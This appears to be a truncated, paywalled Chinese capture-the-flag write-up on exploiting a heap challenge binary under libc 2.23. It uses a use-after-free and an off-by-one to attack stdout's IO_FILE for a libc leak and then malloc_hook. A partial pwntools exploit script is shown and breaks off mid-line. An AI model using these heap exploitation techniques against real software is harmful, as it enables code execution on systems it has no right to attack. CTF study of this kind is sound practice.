libc是2.23
菜单

add

free
显然是有uaf。
edit
就是输入
输入函数其实还有off by one。
有个后门

我们的思路就是简单的说因为有uaf但是没有show,所以我们就直接攻击stdout,但是又因为后门给了我们地址,所以就解决了爆破这个问题。然后就攻击IO_FILE泄露libc,再攻击malloc_hook就好啦。
第一个exp是利用off by one来构造的。
exp
from pwn import *
r = process("./pwn1")
context.arch='amd64'
elf=ELF("./pwn1")
libc=ELF("./libc.so.6")
def add(index,size):
r.sendlineafter(">> \n",'1')
r.sendlineafter("input index:\n",str(index))
r.sendlineafter("input size:\n",str(size))
def free(index):
r.sendlineafter(">> \n",'2')
r.sendlineafter("input index:\n",str(index))
def edit(index,context):
r.sendlineafter(">> \n",'3')
r.sendlineafter("input index:\n",str(index))
r.sendlineafter("input context:\n",context)
def gift():
r.sendlineafter(">> \n",'666')
gift()
stdout = int(r.recv(<

本文通过两个具体的实例展示了如何利用UAF(Use After Free)漏洞进行攻击,包括利用off-by-one漏洞构造攻击以及仅使用UAF漏洞攻击IO_FILE的chunk。文章详细介绍了利用这些漏洞泄露libc基址并控制malloc_hook的过程。
最低0.47元/天 解锁文章
554

被折叠的 条评论
为什么被折叠?



